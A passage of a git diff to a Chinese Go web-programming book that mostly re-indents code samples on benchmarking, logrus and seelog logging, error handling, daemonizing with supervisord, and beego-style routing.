//做一些初始化的工作,例如读取文件数据,数据库连接之类的, - //这样这些时间不影响我们测试函数本身的性能 - - b.StartTimer() //重新开始时间 - for i := 0; i < b.N; i++ { - Division(4, 5) - } +} + +func Benchmark_TimeConsumingFunction(b *testing.B) { + b.StopTimer() //调用该函数停止压力测试的时间计数 + + //做一些初始化的工作,例如读取文件数据,数据库连接之类的, + //这样这些时间不影响我们测试函数本身的性能 + + b.StartTimer() //重新开始时间 + for i := 0; i < b.N; i++ { + Division(4, 5) } +} ``` -我们执行命令`go test -file webbench_test.go -test.bench=".*"`,可以看到如下结果: - - PASS - Benchmark_Division 500000000 7.76 ns/op - Benchmark_TimeConsumingFunction 500000000 7.80 ns/op - ok gotest 9.364s +我们执行命令`go test webbench_test.go -test.bench=".*"`,可以看到如下结果: +``` +Benchmark_Division-4 500000000 7.76 ns/op 456 B/op 14 allocs/op +Benchmark_TimeConsumingFunction-4 500000000 7.80 ns/op 224 B/op 4 allocs/op +PASS +ok gotest 9.364s +``` 上面的结果显示我们没有执行任何`TestXXX`的单元测试函数,显示的结果只执行了压力测试函数,第一条显示了`Benchmark_Division`执行了500000000次,每次的执行平均时间是7.76纳秒,第二条显示了`Benchmark_TimeConsumingFunction`执行了500000000,每次的平均执行时间是7.80纳秒。最后一条显示总共的执行时间。 @@ -169,4 +170,4 @@ Go语言中自带有一个轻量级的测试框架`testing`和自带的`go test` ## links * [目录]() * 上一节: [使用GDB调试](<11.2.md>) - * 下一节: [小结](<11.4.md>) \ No newline at end of file + * 下一节: [小结](<11.4.md>) diff --git a/zh/12.1.md b/zh/12.1.md index 8fd0e848f..e8c036c95 100644 --- a/zh/12.1.md +++ b/zh/12.1.md @@ -1,13 +1,13 @@ # 12.1 应用日志 我们期望开发的Web应用程序能够把整个程序运行过程中出现的各种事件一一记录下来,Go语言中提供了一个简易的log包,我们使用该包可以方便的实现日志记录的功能,这些日志都是基于fmt包的打印再结合panic之类的函数来进行一般的打印、抛出错误处理。Go目前标准包只是包含了简单的功能,如果我们想把我们的应用日志保存到文件,然后又能够结合日志实现很多复杂的功能(编写过Java或者C++的读者应该都使用过log4j和log4cpp之类的日志工具),可以使用第三方开发的日志系统:[logrus](https://github.com/sirupsen/logrus)和[seelog](https://github.com/cihub/seelog),它们实现了很强大的日志功能,可以结合自己项目选择。接下来我们介绍如何通过该日志系统来实现我们应用的日志功能。 -##logrus介绍 +## logrus介绍 logrus是用Go语言实现的一个日志系统,与标准库log完全兼容并且核心API很稳定,是Go语言目前最活跃的日志库 首先安装logrus ```Go - go get -u github.com/sirupsen/logrus +go get -u github.com/sirupsen/logrus ``` @@ -15,65 +15,66 @@ logrus是用Go语言实现的一个日志系统,与标准库log完全兼容并 ```Go - package main +package main - import ( - log "github.com/Sirupsen/logrus" - ) +import ( + log "github.com/Sirupsen/logrus" +) - func main() { +func main() { log.WithFields(log.Fields{ "animal": "walrus", }).Info("A walrus appears") - } +} ``` ### 基于logrus的自定义日志处理 ```Go - package main +package main - import ( - log "github.com/Sirupsen/logrus" - "os" - ) +import ( + "os" - func init() { - // 日志格式化为JSON而不是默认的ASCII - log.SetFormatter(&log.JSONFormatter{}) + log "github.com/Sirupsen/logrus" +) - // 输出stdout而不是默认的stderr,也可以是一个文件 - log.SetOutput(os.Stdout) +func init() { + // 日志格式化为JSON而不是默认的ASCII + log.SetFormatter(&log.JSONFormatter{}) - // 只记录严重或以上警告 - log.SetLevel(log.WarnLevel) - } + // 输出stdout而不是默认的stderr,也可以是一个文件 + log.SetOutput(os.Stdout) - func main() { - log.WithFields(log.Fields{ - "animal": "walrus", - "size": 10, - }).Info("A group of walrus emerges from the ocean") - - log.WithFields(log.Fields{ - "omg": true, - "number": 122, - }).Warn("The group's number increased tremendously!") - - log.WithFields(log.Fields{ - "omg": true, - "number": 100, - }).Fatal("The ice breaks!") - - // 通过日志语句重用字段 - // logrus.Entry返回自WithFields() - contextLogger := log.WithFields(log.Fields{ - "common": "this is a common field", - "other": "I also should be logged always", - }) - - contextLogger.Info("I'll be logged with common and other field") - contextLogger.Info("Me too") - } + // 只记录严重或以上警告 + log.SetLevel(log.WarnLevel) +} + +func main() { + log.WithFields(log.Fields{ + "animal": "walrus", + "size": 10, + }).Info("A group of walrus emerges from the ocean") + + log.WithFields(log.Fields{ + "omg": true, + "number": 122, + }).Warn("The group's number increased tremendously!") + + log.WithFields(log.Fields{ + "omg": true, + "number": 100, + }).Fatal("The ice breaks!") + + // 通过日志语句重用字段 + // logrus.Entry返回自WithFields() + contextLogger := log.WithFields(log.Fields{ + "common": "this is a common field", + "other": "I also should be logged always", + }) + + contextLogger.Info("I'll be logged with common and other field") + contextLogger.Info("Me too") +} ``` ## seelog介绍 @@ -95,20 +96,20 @@ seelog是用Go语言实现的一个日志系统,它提供了一些简单的函 首先安装seelog ```Go - go get -u github.com/cihub/seelog +go get -u github.com/cihub/seelog ``` 然后我们来看一个简单的例子: ```Go - package main +package main - import log "github.com/cihub/seelog" +import log "github.com/cihub/seelog" - func main() { - defer log.Flush() - log.Info("Hello from Seelog!") - } +func main() { + defer log.Flush() + log.Info("Hello from Seelog!") +} ``` 编译后运行如果出现了`Hello from seelog`,说明seelog日志系统已经成功安装并且可以正常运行了。 @@ -117,59 +118,60 @@ seelog是用Go语言实现的一个日志系统,它提供了一些简单的函 seelog支持自定义日志处理,下面是我基于它自定义的日志处理包的部分内容: ```Go - package logs - - import ( - // "errors" - "fmt" - seelog "github.com/cihub/seelog" - // "io" - ) - - var Logger seelog.LoggerInterface - - func loadAppConfig() { - appConfig := ` - - - - - - - - - - - - - - - - - ` - logger, err := seelog.LoggerFromConfigAsBytes([]byte(appConfig)) - if err != nil { - fmt.Println(err) - return - } - UseLogger(logger) - } - - func init() { - DisableLog() - loadAppConfig() - } - - // DisableLog disables all library log output - func DisableLog() { - Logger = seelog.Disabled - } - - // UseLogger uses a specified seelog.LoggerInterface to output library log. - // Use this func if you are using Seelog logging system in your app. - func UseLogger(newLogger seelog.LoggerInterface) { - Logger = newLogger +package logs + +import ( + // "errors" + "fmt" + // "io" + + seelog "github.com/cihub/seelog" +) + +var Logger seelog.LoggerInterface + +func loadAppConfig() { + appConfig := ` + + + + + + + + + + + + + + + + +` + logger, err := seelog.LoggerFromConfigAsBytes([]byte(appConfig)) + if err != nil { + fmt.Println(err) + return } + UseLogger(logger) +} + +func init() { + DisableLog() + loadAppConfig() +} + +// DisableLog disables all library log output +func DisableLog() { + Logger = seelog.Disabled +} + +// UseLogger uses a specified seelog.LoggerInterface to output library log. +// Use this func if you are using Seelog logging system in your app. +func UseLogger(newLogger seelog.LoggerInterface) { + Logger = newLogger +} ``` 上面主要实现了三个函数, @@ -198,36 +200,36 @@ seelog支持自定义日志处理,下面是我基于它自定义的日志处 上面我们定义了一个自定义的日志处理包,下面就是使用示例: ```Go - package main - - import ( - "net/http" - "project/logs" - "project/configs" - "project/routes" - ) - - func main() { - addr, _ := configs.MainConfig.String("server", "addr") - logs.Logger.Info("Start server at:%v", addr) - err := http.ListenAndServe(addr, routes.NewMux()) - logs.Logger.Critical("Server err:%v", err) - } +package main + +import ( + "net/http" + "project/logs" + "project/configs" + "project/routes" +) + +func main() { + addr, _ := configs.MainConfig.String("server", "addr") + logs.Logger.Info("Start server at:%v", addr) + err := http.ListenAndServe(addr, routes.NewMux()) + logs.Logger.Critical("Server err:%v", err) +} ``` ## 发生错误发送邮件 上面的例子解释了如何设置发送邮件,我们通过如下的smtp配置用来发送邮件: ```html - - - + + + ``` 邮件的格式通过criticalemail配置,然后通过其他的配置发送邮件服务器的配置,通过recipient配置接收邮件的用户,如果有多个用户可以再添加一行。 要测试这个代码是否正常工作,可以在代码中增加类似下面的一个假消息。不过记住过后要把它删除,否则上线之后就会收到很多垃圾邮件。 ```Go - logs.Logger.Critical("test Critical message") +logs.Logger.Critical("test Critical message") ``` 现在,只要我们的应用在线上记录一个Critical的信息,你的邮箱就会收到一个Email,这样一旦线上的系统出现问题,你就能立马通过邮件获知,就能及时的进行处理。 ## 使用应用日志 @@ -236,8 +238,8 @@ seelog支持自定义日志处理,下面是我基于它自定义的日志处 举一个例子,我们需要跟踪用户尝试登陆系统的操作。这里会把成功与不成功的尝试都记录下来。记录成功的使用"Info"日志级别,而不成功的使用"warn"级别。如果想查找所有不成功的登陆,我们可以利用linux的grep之类的命令工具,如下: ```Go - # cat /data/logs/roll.log | grep "failed login" - 2012-12-11 11:12:00 WARN : failed login attempt from 11.22.33.44 username password +# cat /data/logs/roll.log | grep "failed login" +2012-12-11 11:12:00 WARN : failed login attempt from 11.22.33.44 username password ``` 通过这种方式我们就可以很方便的查找相应的信息,这样有利于我们针对应用日志做一些统计和分析。另外我们还需要考虑日志的大小,对于一个高流量的Web应用来说,日志的增长是相当可怕的,所以我们在seelog的配置文件里面设置了logrotate,这样就能保证日志文件不会因为不断变大而导致我们的磁盘空间不够引起问题。 diff --git a/zh/12.2.md b/zh/12.2.md index 1c43f3193..a802b47c7 100644 --- a/zh/12.2.md +++ b/zh/12.2.md @@ -33,79 +33,79 @@ ```html - - - - 找不到页面 - - - - -
-
-
-
-

404!

-

{{.ErrorInfo}}

-
-
-
-
- - + + + + 找不到页面 + + + + +
+
+
+
+

404!

+

{{.ErrorInfo}}

+
+
+
+
+ + ``` 另一个源码: ```html - - - - 系统错误页面 - - - - -
-
-
-
-

系统暂时不可用!

-

{{.ErrorInfo}}

-
-
-
-
- - + + + + 系统错误页面 + + + + +
+
+
+
+

系统暂时不可用!

+

{{.ErrorInfo}}

+
+
+
+
+ + ``` 404的错误处理逻辑,如果是系统的错误也是类似的操作,同时我们看到在: ```Go - func (p *MyMux) ServeHTTP(w http.ResponseWriter, r *http.Request) { - if r.URL.Path == "/" { - sayhelloName(w, r) - return - } - NotFound404(w, r) - return - } + func (p *MyMux) ServeHTTP(w http.ResponseWriter, r *http.Request) { + if r.URL.Path == "/" { + sayhelloName(w, r) + return + } + NotFound404(w, r) + return + } - func NotFound404(w http.ResponseWriter, r *http.Request) { - log.Error("页面找不到") //记录错误日志 - t, _ = t.ParseFiles("tmpl/404.html", nil) //解析模板文件 - ErrorInfo := "文件找不到" //获取当前用户信息 - t.Execute(w, ErrorInfo) //执行模板的merger操作 - } + func NotFound404(w http.ResponseWriter, r *http.Request) { + log.Error("页面找不到") //记录错误日志 + t, _ = t.ParseFiles("tmpl/404.html", nil) //解析模板文件 + ErrorInfo := "文件找不到" //获取当前报错信息 + t.Execute(w, ErrorInfo) //执行模板的merger操作 + } - func SystemError(w http.ResponseWriter, r *http.Request) { - log.Critical("系统错误") //系统错误触发了Critical,那么不仅会记录日志还会发送邮件 - t, _ = t.ParseFiles("tmpl/error.html", nil) //解析模板文件 - ErrorInfo := "系统暂时不可用" //获取当前用户信息 - t.Execute(w, ErrorInfo) //执行模板的merger操作 - } + func SystemError(w http.ResponseWriter, r *http.Request) { + log.Critical("系统错误") //系统错误触发了Critical,那么不仅会记录日志还会发送邮件 + t, _ = t.ParseFiles("tmpl/error.html", nil) //解析模板文件 + ErrorInfo := "系统暂时不可用" //获取当前报错信息 + t.Execute(w, ErrorInfo) //执行模板的merger操作 + } ``` ## 如何处理异常 @@ -114,16 +114,16 @@ 但是还有一种情况,有一些操作几乎不可能失败,而且在一些特定的情况下也没有办法返回错误,也无法继续执行,这样情况就应该panic。举个例子:如果一个程序计算x[j],但是j越界了,这部分代码就会导致panic,像这样的一个不可预期严重错误就会引起panic,在默认情况下它会杀掉进程,它允许一个正在运行这部分代码的goroutine从发生错误的panic中恢复运行,发生panic之后,这部分代码后面的函数和代码都不会继续执行,这是Go特意这样设计的,因为要区别于错误和异常,panic其实就是异常处理。如下代码,我们期望通过uid来获取User中的username信息,但是如果uid越界了就会抛出异常,这个时候如果我们没有recover机制,进程就会被杀死,从而导致程序不可服务。因此为了程序的健壮性,在一些地方需要建立recover机制。 ```Go - func GetUser(uid int) (username string) { - defer func() { - if x := recover(); x != nil { - username = "" - } - }() +func GetUser(uid int) (username string) { + defer func() { + if x := recover(); x != nil { + username = "" + } + }() - username = User[uid] - return - } + username = User[uid] + return +} ``` 上面介绍了错误和异常的区别,那么我们在开发程序的时候如何来设计呢?规则很简单:如果你定义的函数有可能失败,它就应该返回一个错误。当我调用其他package的函数时,如果这个函数实现的很好,我不需要担心它会panic,除非有真正的异常情况发生,即使那样也不应该是我去处理它。而panic和recover是针对自己开发package里面实现的逻辑,针对一些特殊情况来设计。 diff --git a/zh/12.3.md b/zh/12.3.md index eed4fc10b..9c33c217b 100644 --- a/zh/12.3.md +++ b/zh/12.3.md @@ -5,108 +5,108 @@ 但是我们可以看到很多网上的一些实现daemon的方法,例如下面两种方式: -- MarGo的一个实现思路,使用Commond来执行自身的应用,如果真想实现,那么推荐这种方案 +- MarGo的一个实现思路,使用Command来执行自身的应用,如果真想实现,那么推荐这种方案 ```Go - d := flag.Bool("d", false, "Whether or not to launch in the background(like a daemon)") - if *d { - cmd := exec.Command(os.Args[0], - "-close-fds", - "-addr", *addr, - "-call", *call, - ) - serr, err := cmd.StderrPipe() - if err != nil { - log.Fatalln(err) - } - err = cmd.Start() - if err != nil { - log.Fatalln(err) - } - s, err := ioutil.ReadAll(serr) - s = bytes.TrimSpace(s) - if bytes.HasPrefix(s, []byte("addr: ")) { - fmt.Println(string(s)) - cmd.Process.Release() - } else { - log.Printf("unexpected response from MarGo: `%s` error: `%v`\n", s, err) - cmd.Process.Kill() - } - } +d := flag.Bool("d", false, "Whether or not to launch in the background(like a daemon)") +if *d { + cmd := exec.Command(os.Args[0], + "-close-fds", + "-addr", *addr, + "-call", *call, + ) + serr, err := cmd.StderrPipe() + if err != nil { + log.Fatalln(err) + } + err = cmd.Start() + if err != nil { + log.Fatalln(err) + } + s, err := ioutil.ReadAll(serr) + s = bytes.TrimSpace(s) + if bytes.HasPrefix(s, []byte("addr: ")) { + fmt.Println(string(s)) + cmd.Process.Release() + } else { + log.Printf("unexpected response from MarGo: `%s` error: `%v`\n", s, err) + cmd.Process.Kill() + } +} ``` - 另一种是利用syscall的方案,但是这个方案并不完善: ```Go - package main - - import ( - "log" - "os" - "syscall" - ) - - func daemon(nochdir, noclose int) int { - var ret, ret2 uintptr - var err uintptr - - darwin := syscall.OS == "darwin" - - // already a daemon - if syscall.Getppid() == 1 { - return 0 - } - - // fork off the parent process - ret, ret2, err = syscall.RawSyscall(syscall.SYS_FORK, 0, 0, 0) - if err != 0 { - return -1 - } - - // failure - if ret2 < 0 { - os.Exit(-1) - } - - // handle exception for darwin - if darwin && ret2 == 1 { - ret = 0 - } - - // if we got a good PID, then we call exit the parent process. - if ret > 0 { - os.Exit(0) - } - - /* Change the file mode mask */ - _ = syscall.Umask(0) - - // create a new SID for the child process - s_ret, s_errno := syscall.Setsid() - if s_errno != 0 { - log.Printf("Error: syscall.Setsid errno: %d", s_errno) - } - if s_ret < 0 { - return -1 - } - - if nochdir == 0 { - os.Chdir("/") - } - - if noclose == 0 { - f, e := os.OpenFile("/dev/null", os.O_RDWR, 0) - if e == nil { - fd := f.Fd() - syscall.Dup2(fd, os.Stdin.Fd()) - syscall.Dup2(fd, os.Stdout.Fd()) - syscall.Dup2(fd, os.Stderr.Fd()) - } - } - - return 0 - } +package main + +import ( + "log" + "os" + "syscall" +) + +func daemon(nochdir, noclose int) int { + var ret, ret2 uintptr + var err uintptr + + darwin := syscall.OS == "darwin" + + // already a daemon + if syscall.Getppid() == 1 { + return 0 + } + + // fork off the parent process + ret, ret2, err = syscall.RawSyscall(syscall.SYS_FORK, 0, 0, 0) + if err != 0 { + return -1 + } + + // failure + if ret2 < 0 { + os.Exit(-1) + } + + // handle exception for darwin + if darwin && ret2 == 1 { + ret = 0 + } + + // if we got a good PID, then we call exit the parent process. + if ret > 0 { + os.Exit(0) + } + + /* Change the file mode mask */ + _ = syscall.Umask(0) + + // create a new SID for the child process + s_ret, s_errno := syscall.Setsid() + if s_errno != 0 { + log.Printf("Error: syscall.Setsid errno: %d", s_errno) + } + if s_ret < 0 { + return -1 + } + + if nochdir == 0 { + os.Chdir("/") + } + + if noclose == 0 { + f, e := os.OpenFile("/dev/null", os.O_RDWR, 0) + if e == nil { + fd := f.Fd() + syscall.Dup2(fd, os.Stdin.Fd()) + syscall.Dup2(fd, os.Stdout.Fd()) + syscall.Dup2(fd, os.Stderr.Fd()) + } + } + + return 0 +} ``` 上面提出了两种实现Go的daemon方案,但是我还是不推荐大家这样去实现,因为官方还没有正式的宣布支持daemon,当然第一种方案目前来看是比较可行的,而且目前开源库skynet也在采用这个方案做daemon。 @@ -128,45 +128,45 @@ Supervisord默认的配置文件路径为/etc/supervisord.conf,通过文本编 ```conf - ;/etc/supervisord.conf - [unix_http_server] - file = /var/run/supervisord.sock - chmod = 0777 - chown= root:root - - [inet_http_server] - # Web管理界面设定 - port=9001 - username = admin - password = yourpassword - - [supervisorctl] - ; 必须和'unix_http_server'里面的设定匹配 - serverurl = unix:///var/run/supervisord.sock - - [supervisord] - logfile=/var/log/supervisord/supervisord.log ; (main log file;default $CWD/supervisord.log) - logfile_maxbytes=50MB ; (max main logfile bytes b4 rotation;default 50MB) - logfile_backups=10 ; (num of main logfile rotation backups;default 10) - loglevel=info ; (log level;default info; others: debug,warn,trace) - pidfile=/var/run/supervisord.pid ; (supervisord pidfile;default supervisord.pid) - nodaemon=true ; (start in foreground if true;default false) - minfds=1024 ; (min. avail startup file descriptors;default 1024) - minprocs=200 ; (min. avail process descriptors;default 200) - user=root ; (default is current user, required if root) - childlogdir=/var/log/supervisord/ ; ('AUTO' child log dir, default $TEMP) - - [rpcinterface:supervisor] - supervisor.rpcinterface_factory = supervisor.rpcinterface:make_main_rpcinterface - - ; 管理的单个进程的配置,可以添加多个program - [program:blogdemon] - command=/data/blog/blogdemon - autostart = true - startsecs = 5 - user = root - redirect_stderr = true - stdout_logfile = /var/log/supervisord/blogdemon.log +;/etc/supervisord.conf +[unix_http_server] +file = /var/run/supervisord.sock +chmod = 0777 +chown= root:root + +[inet_http_server] +# Web管理界面设定 +port=9001 +username = admin +password = yourpassword + +[supervisorctl] +; 必须和'unix_http_server'里面的设定匹配 +serverurl = unix:///var/run/supervisord.sock + +[supervisord] +logfile=/var/log/supervisord/supervisord.log ; (main log file;default $CWD/supervisord.log) +logfile_maxbytes=50MB ; (max main logfile bytes b4 rotation;default 50MB) +logfile_backups=10 ; (num of main logfile rotation backups;default 10) +loglevel=info ; (log level;default info; others: debug,warn,trace) +pidfile=/var/run/supervisord.pid ; (supervisord pidfile;default supervisord.pid) +nodaemon=true ; (start in foreground if true;default false) +minfds=1024 ; (min. avail startup file descriptors;default 1024) +minprocs=200 ; (min. avail process descriptors;default 200) +user=root ; (default is current user, required if root) +childlogdir=/var/log/supervisord/ ; ('AUTO' child log dir, default $TEMP) + +[rpcinterface:supervisor] +supervisor.rpcinterface_factory = supervisor.rpcinterface:make_main_rpcinterface + +; 管理的单个进程的配置,可以添加多个program +[program:blogdemon] +command=/data/blog/blogdemon +autostart = true +startsecs = 5 +user = root +redirect_stderr = true +stdout_logfile = /var/log/supervisord/blogdemon.log ``` ### Supervisord管理 diff --git a/zh/13.2.md b/zh/13.2.md index 775b0b58b..822fa9b6e 100644 --- a/zh/13.2.md +++ b/zh/13.2.md @@ -11,17 +11,17 @@ HTTP路由组件负责将HTTP请求交到对应的函数处理(或者是一个st 在3.4小节有过介绍Go的http包的详解,里面介绍了Go的http包如何设计和实现路由,这里继续以一个例子来说明: ```Go - func fooHandler(w http.ResponseWriter, r *http.Request) { - fmt.Fprintf(w, "Hello, %q", html.EscapeString(r.URL.Path)) - } +func fooHandler(w http.ResponseWriter, r *http.Request) { + fmt.Fprintf(w, "Hello, %q", html.EscapeString(r.URL.Path)) +} - http.HandleFunc("/foo", fooHandler) +http.HandleFunc("/foo", fooHandler) - http.HandleFunc("/bar", func(w http.ResponseWriter, r *http.Request) { - fmt.Fprintf(w, "Hello, %q", html.EscapeString(r.URL.Path)) - }) +http.HandleFunc("/bar", func(w http.ResponseWriter, r *http.Request) { + fmt.Fprintf(w, "Hello, %q", html.EscapeString(r.URL.Path)) +}) - log.Fatal(http.ListenAndServe(":8080", nil)) +log.Fatal(http.ListenAndServe(":8080", nil)) ``` 上面的例子调用了http默认的DefaultServeMux来添加路由,需要提供两个参数,第一个参数是希望用户访问此资源的URL路径(保存在r.URL.Path),第二参数是即将要执行的函数,以提供用户访问的资源。路由的思路主要集中在两点: @@ -34,15 +34,15 @@ Go默认的路由添加是通过函数`http.Handle`和`http.HandleFunc`等来添 Go监听端口,然后接收到tcp连接会扔给Handler来处理,上面的例子默认nil即为`http.DefaultServeMux`,通过`DefaultServeMux.ServeHTTP`函数来进行调度,遍历之前存储的map路由信息,和用户访问的URL进行匹配,以查询对应注册的处理函数,这样就实现了上面所说的第二点。 ```Go - for k, v := range mux.m { - if !pathMatch(k, path) { - continue - } - if h == nil || len(k) > n { - n = len(k) - h = v.h - } +for k, v := range mux.m { + if !pathMatch(k, path) { + continue } + if h == nil || len(k) > n { + n = len(k) + h = v.h + } +} ``` ## beego框架路由实现 @@ -60,197 +60,197 @@ beego框架的路由器基于上面的几点限制考虑设计了一种REST方 根据上面的思路,我们设计了两个数据类型controllerInfo(保存路径和对应的struct,这里是一个reflect.Type类型)和ControllerRegistor(routers是一个slice用来保存用户添加的路由信息,以及beego框架的应用信息) ```Go - type controllerInfo struct { - regex *regexp.Regexp - params map[int]string - controllerType reflect.Type - } +type controllerInfo struct { + regex *regexp.Regexp + params map[int]string + controllerType reflect.Type +} + +type ControllerRegistor struct { + routers []*controllerInfo + Application *App +} - type ControllerRegistor struct { - routers []*controllerInfo - Application *App - } - ``` ControllerRegistor对外的接口函数有 ```Go - func (p *ControllerRegistor) Add(pattern string, c ControllerInterface) +func (p *ControllerRegistor) Add(pattern string, c ControllerInterface) ``` 详细的实现如下所示: ```Go - func (p *ControllerRegistor) Add(pattern string, c ControllerInterface) { - parts := strings.Split(pattern, "/") - - j := 0 - params := make(map[int]string) - for i, part := range parts { - if strings.HasPrefix(part, ":") { - expr := "([^/]+)" - - //a user may choose to override the defult expression - // similar to expressjs: ‘/user/:id([0-9]+)’ +func (p *ControllerRegistor) Add(pattern string, c ControllerInterface) { + parts := strings.Split(pattern, "/") + + j := 0 + params := make(map[int]string) + for i, part := range parts { + if strings.HasPrefix(part, ":") { + expr := "([^/]+)" + + //a user may choose to override the defult expression + // similar to expressjs: ‘/user/:id([0-9]+)’ - if index := strings.Index(part, "("); index != -1 { - expr = part[index:] - part = part[:index] - } - params[j] = part - parts[i] = expr - j++ + if index := strings.Index(part, "("); index != -1 { + expr = part[index:] + part = part[:index] } + params[j] = part + parts[i] = expr + j++ } - - //recreate the url pattern, with parameters replaced - //by regular expressions. then compile the regex + } - pattern = strings.Join(parts, "/") - regex, regexErr := regexp.Compile(pattern) - if regexErr != nil { + //recreate the url pattern, with parameters replaced + //by regular expressions. then compile the regex - //TODO add error handling here to avoid panic - panic(regexErr) - return - } - - //now create the Route - t := reflect.Indirect(reflect.ValueOf(c)).Type() - route := &controllerInfo{} - route.regex = regex - route.params = params - route.controllerType = t - - p.routers = append(p.routers, route) - + pattern = strings.Join(parts, "/") + regex, regexErr := regexp.Compile(pattern) + if regexErr != nil { + + //TODO add error handling here to avoid panic + panic(regexErr) + return } + + //now create the Route + t := reflect.Indirect(reflect.ValueOf(c)).Type() + route := &controllerInfo{} + route.regex = regex + route.params = params + route.controllerType = t + + p.routers = append(p.routers, route) + +} ``` ### 静态路由实现 上面我们实现的动态路由的实现,Go的http包默认支持静态文件处理FileServer,由于我们实现了自定义的路由器,那么静态文件也需要自己设定,beego的静态文件夹路径保存在全局变量StaticDir中,StaticDir是一个map类型,实现如下: ```Go - func (app *App) SetStaticPath(url string, path string) *App { - StaticDir[url] = path - return app - } +func (app *App) SetStaticPath(url string, path string) *App { + StaticDir[url] = path + return app +} ``` 应用中设置静态路径可以使用如下方式实现: ```Go - beego.SetStaticPath("/img","/static/img") - +beego.SetStaticPath("/img","/static/img") + ``` ### 转发路由 转发路由是基于ControllerRegistor里的路由信息来进行转发的,详细的实现如下代码所示: ```Go - // AutoRoute - func (p *ControllerRegistor) ServeHTTP(w http.ResponseWriter, r *http.Request) { - defer func() { - if err := recover(); err != nil { - if !RecoverPanic { - // go back to panic - panic(err) - } else { - Critical("Handler crashed with error", err) - for i := 1; ; i += 1 { - _, file, line, ok := runtime.Caller(i) - if !ok { - break - } - Critical(file, line) +// AutoRoute +func (p *ControllerRegistor) ServeHTTP(w http.ResponseWriter, r *http.Request) { + defer func() { + if err := recover(); err != nil { + if !RecoverPanic { + // go back to panic + panic(err) + } else { + Critical("Handler crashed with error", err) + for i := 1; ; i += 1 { + _, file, line, ok := runtime.Caller(i) + if !ok { + break } + Critical(file, line) } } - }() - var started bool - for prefix, staticDir := range StaticDir { - if strings.HasPrefix(r.URL.Path, prefix) { - file := staticDir + r.URL.Path[len(prefix):] - http.ServeFile(w, r, file) - started = true - return - } } - requestPath := r.URL.Path - - //find a matching Route - for _, route := range p.routers { - - //check if Route pattern matches url - if !route.regex.MatchString(requestPath) { - continue - } - - //get submatches (params) - matches := route.regex.FindStringSubmatch(requestPath) - - //double check that the Route matches the URL pattern. - if len(matches[0]) != len(requestPath) { - continue - } - - params := make(map[string]string) - if len(route.params) > 0 { - //add url parameters to the query param map - values := r.URL.Query() - for i, match := range matches[1:] { - values.Add(route.params[i], match) - params[route.params[i]] = match - } - - //reassemble query params and add to RawQuery - r.URL.RawQuery = url.Values(values).Encode() + "&" + r.URL.RawQuery - //r.URL.RawQuery = url.Values(values).Encode() + }() + var started bool + for prefix, staticDir := range StaticDir { + if strings.HasPrefix(r.URL.Path, prefix) { + file := staticDir + r.URL.Path[len(prefix):] + http.ServeFile(w, r, file) + started = true + return + } + } + requestPath := r.URL.Path + + //find a matching Route + for _, route := range p.routers { + + //check if Route pattern matches url + if !route.regex.MatchString(requestPath) { + continue + } + + //get submatches (params) + matches := route.regex.FindStringSubmatch(requestPath) + + //double check that the Route matches the URL pattern. + if len(matches[0]) != len(requestPath) { + continue + } + + params := make(map[string]string) + if len(route.params) > 0 { + //add url parameters to the query param map + values := r.URL.Query() + for i, match := range matches[1:] { + values.Add(route.params[i], match) + params[route.params[i]] = match } - //Invoke the request handler - vc := reflect.New(route.controllerType) - init := vc.MethodByName("Init") - in := make([]reflect.Value, 2) - ct := &Context{ResponseWriter: w, Request: r, Params: params} - in[0] = reflect.ValueOf(ct) - in[1] = reflect.ValueOf(route.controllerType.Name()) - init.Call(in) - in = make([]reflect.Value, 0) - method := vc.MethodByName("Prepare") + + //reassemble query params and add to RawQuery + r.URL.RawQuery = url.Values(values).Encode() + "&" + r.URL.RawQuery + //r.URL.RawQuery = url.Values(values).Encode() + } + //Invoke the request handler + vc := reflect.New(route.controllerType) + init := vc.MethodByName("Init") + in := make([]reflect.Value, 2) + ct := &Context{ResponseWriter: w, Request: r, Params: params} + in[0] = reflect.ValueOf(ct) + in[1] = reflect.ValueOf(route.controllerType.Name()) + init.Call(in) + in = make([]reflect.Value, 0) + method := vc.MethodByName("Prepare") + method.Call(in) + if r.Method == "GET" { + method = vc.MethodByName("Get") method.Call(in) - if r.Method == "GET" { - method = vc.MethodByName("Get") - method.Call(in) - } else if r.Method == "POST" { - method = vc.MethodByName("Post") - method.Call(in) - } else if r.Method == "HEAD" { - method = vc.MethodByName("Head") - method.Call(in) - } else if r.Method == "DELETE" { - method = vc.MethodByName("Delete") - method.Call(in) - } else if r.Method == "PUT" { - method = vc.MethodByName("Put") - method.Call(in) - } else if r.Method == "PATCH" { - method = vc.MethodByName("Patch") - method.Call(in) - } else if r.Method == "OPTIONS" { - method = vc.MethodByName("Options") - method.Call(in) - } - if AutoRender { - method = vc.MethodByName("Render") - method.Call(in) - } - method = vc.MethodByName("Finish") + } else if r.Method == "POST" { + method = vc.MethodByName("Post") + method.Call(in) + } else if r.Method == "HEAD" { + method = vc.MethodByName("Head") + method.Call(in) + } else if r.Method == "DELETE" { + method = vc.MethodByName("Delete") + method.Call(in) + } else if r.Method == "PUT" { + method = vc.MethodByName("Put") + method.Call(in) + } else if r.Method == "PATCH" { + method = vc.MethodByName("Patch") + method.Call(in) + } else if r.Method == "OPTIONS" { + method = vc.MethodByName("Options") method.Call(in) - started = true - break } - - //if no matches to url, throw a not found exception - if started == false { - http.NotFound(w, r) + if AutoRender { + method = vc.MethodByName("Render") + method.Call(in) } + method = vc.MethodByName("Finish") + method.Call(in) + started = true + break + } + + //if no matches to url, throw a not found exception + if started == false { + http.NotFound(w, r) } +} ``` ### 使用入门 基于这样的路由设计之后就可以解决前面所说的三个限制点,使用的方式如下所示: @@ -258,17 +258,17 @@ ControllerRegistor对外的接口函数有 基本的使用注册路由: ```Go - beego.BeeApp.RegisterController("/", &controllers.MainController{}) +beego.BeeApp.RegisterController("/", &controllers.MainController{}) ``` 参数注册: ```Go - beego.BeeApp.RegisterController("/:param", &controllers.UserController{}) +beego.BeeApp.RegisterController("/:param", &controllers.UserController{}) ``` 正则匹配: ```Go - beego.BeeApp.RegisterController("/users/:uid([0-9]+)", &controllers.UserController{}) +beego.BeeApp.RegisterController("/users/:uid([0-9]+)", &controllers.UserController{}) ``` ## links * [目录]() diff --git a/zh/13.3.md b/zh/13.3.md index 0ddb06c4e..63ad001a0 100644 --- a/zh/13.3.md +++ b/zh/13.3.md @@ -10,158 +10,158 @@ MVC设计模式是目前Web应用开发中最常见的架构模式,通过分 前面小节介绍了路由实现了注册struct的功能,而struct中实现了REST方式,因此我们需要设计一个用于逻辑处理controller的基类,这里主要设计了两个类型,一个struct、一个interface ```Go - type Controller struct { - Ct *Context - Tpl 